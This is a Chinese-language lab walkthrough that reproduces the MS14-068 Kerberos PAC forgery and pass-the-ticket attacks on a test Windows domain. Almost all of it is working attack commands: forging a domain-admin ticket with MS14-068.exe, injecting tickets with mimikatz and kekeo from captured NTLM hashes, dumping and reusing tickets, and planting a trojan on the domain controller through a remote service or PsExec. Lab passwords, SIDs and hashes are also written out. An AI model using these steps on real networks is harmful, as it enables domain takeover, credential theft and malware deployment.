复现MS14-068&PTT攻击
复现MS14-068&PTT攻击
漏洞原理
在kerberos中的ST也就是通过TGS进行授予的票据,这个票据里面存在PAC的要给字段,这里面包含了用户的授权信息,攻击者可以伪造一个具有域管理员权限的PAC然后插入kerberos服务票据中,之后当KDC验证这个服务票据的时候,存在这个漏洞结果你就没法正确验证票据是否真实,就会认为这个用户有域管理员的权限
使用条件:域控主机没有打KB3011780的补丁,还需要一台普通域用户的密码和sid
复现
上线win7查看域控信息
shell net config workstation
直接使用net time /domain直接定位域控
然后获取本机的sid
whoami/all 或者 whoami -user
然后下一步就是制作票据
因为这个exe会被杀,所以可以本地生成然后上传到控制的主机
使用ms14-068.exe进行生成票据,这里需要明文密码进行生成
下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
MS14-068.exe -u marry@sec.sec.jack.com -p 123321Zxc -s S-1-5-21-2458970936-1815464311-433572238-1126 -d 192.168.9.52
然后再使用mimikatz进行导入使用
首先清空当前的票据连接
klist purge
然后上传票据到主机
最后载入票据
mimikatz kerberos::ptc C:\Users\marry\Desktop\TGT_marry@sec.jack.com.ccache
然后测试是否能够通信
复现不成功,网上资料说server 2012以上就会失败
重新安装环境
dc 192.168.9.62 server 2008
域用户:marry 192.168.9.63 win7
生成票据
MS14-068.exe -u marry@mark.com -p 123321Zxc -s S-1-5-21-4236451358-3080725444-4004697965-1105 -d 192.168.9.62
然后先测试是否能够和域控主机通信
然后先清除票据,然后载入票据
然后测试通信
然后下一步就是拷贝文件到域控进行服务绑定上线
首先复制木马到目标机器
copy 木马.exe \\域控主机名\c$
sc创建服务
sc \\mstest.mark.com create test binpath= "c:\ms.exe"
然后执行计划
sc \\mstest.mark.com start test
域控成功上线。
也可以不用上线直接使用Psexec.exe进行获取cmd回来,上传工具到已拿下的主机或者代理到本地进行利用、
下载:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
然后执行命令
psexec64.exe \\mstest.mark.com cmd.exe就能回来域控的cmd
PTT攻击
上面的ms14-068是一种漏洞,通过伪造域管理员的TGT然后达到身份认证为域控身份,同样也是一种票据传递,是权限提升的一种,PTT的利用主要还是用于权限维持
实验:使用kekeo工具进行票据传递攻击演示
下载:https://github.com/gentilkiwi/kekeo/releases
上传cs然后执行命令生成票据
使用域内账号marry的hash进行生成,这个是marry的hash,通过cs的miikatz进行抓取
kekeo "tgt::ask /user:marry /domain:mark.com /ntlm:1b8a0be8761ce43d4eb9ac54ed5e9d93" "exit"
因为这个工具执行的时候就会弹出一个输入框,然后在真实环境中不能很好的进行操作,所以才要加上exit
然后就会生成这个票据,之后就导入
kekeo "kerberos::ptt TGT_marry@MARK.COM_krbtgt~mark.com@MARK.COM.kirbi" "exit"
然后查看票据
之后尝试通信域控
dir \\mstest.mark.com\c$
发现并未成功,因为这个ntlm值是这台域用户的,并没有域控的权限,所以不能使用这个票据传递的方式进行通信。
然后测试使用域控的NTLM值进行制作票据
kekeo "tgt::ask /user:administrator /domain:mark.com /ntlm:39ce3827399cf9a7d1b24f646ec8e843" "exit"
然后导入
kekeo "kerberos::ptt TGT_administrator@MARK.COM_krbtgt~mark.com@MARK.COM.kirbi" "exit"
之后尝试连接通信就能直接成功
这种攻击方式可以在权限维持的时候进行使用。
mimikatz导出导入票据利用
因为票据的有效时间一般都是默认的10个小时,通过导入控制主机里面的票据然后再重新导入,只要找到在有效时间里面的票据然后再次导入就能成功利用票据进行通信
首先导出票据,这里需要高权限运行mimikatz
mimikatz sekurlsa::tickets /export
然后就会在主机上导出很多的票据
然后选择票据进行导入
mimikatz kerberos::ptt C:\Users\marry\Desktop\[0;20a0f]-2-1-40e00000-administrator@krbtgt-mark.com.kirbi
这里会显示OK说明导入成功,然后查看是否真的有这个票据
之后尝试进行通信
dir \\mstest.mark.com\c$
PTT攻击成功
寻找票据可以找amdinistrator的账户,然后@后面比如是krbtgt的用户这个就用可能是域管进行登录过的,如果没有过期就可以进行导入尝试进行连接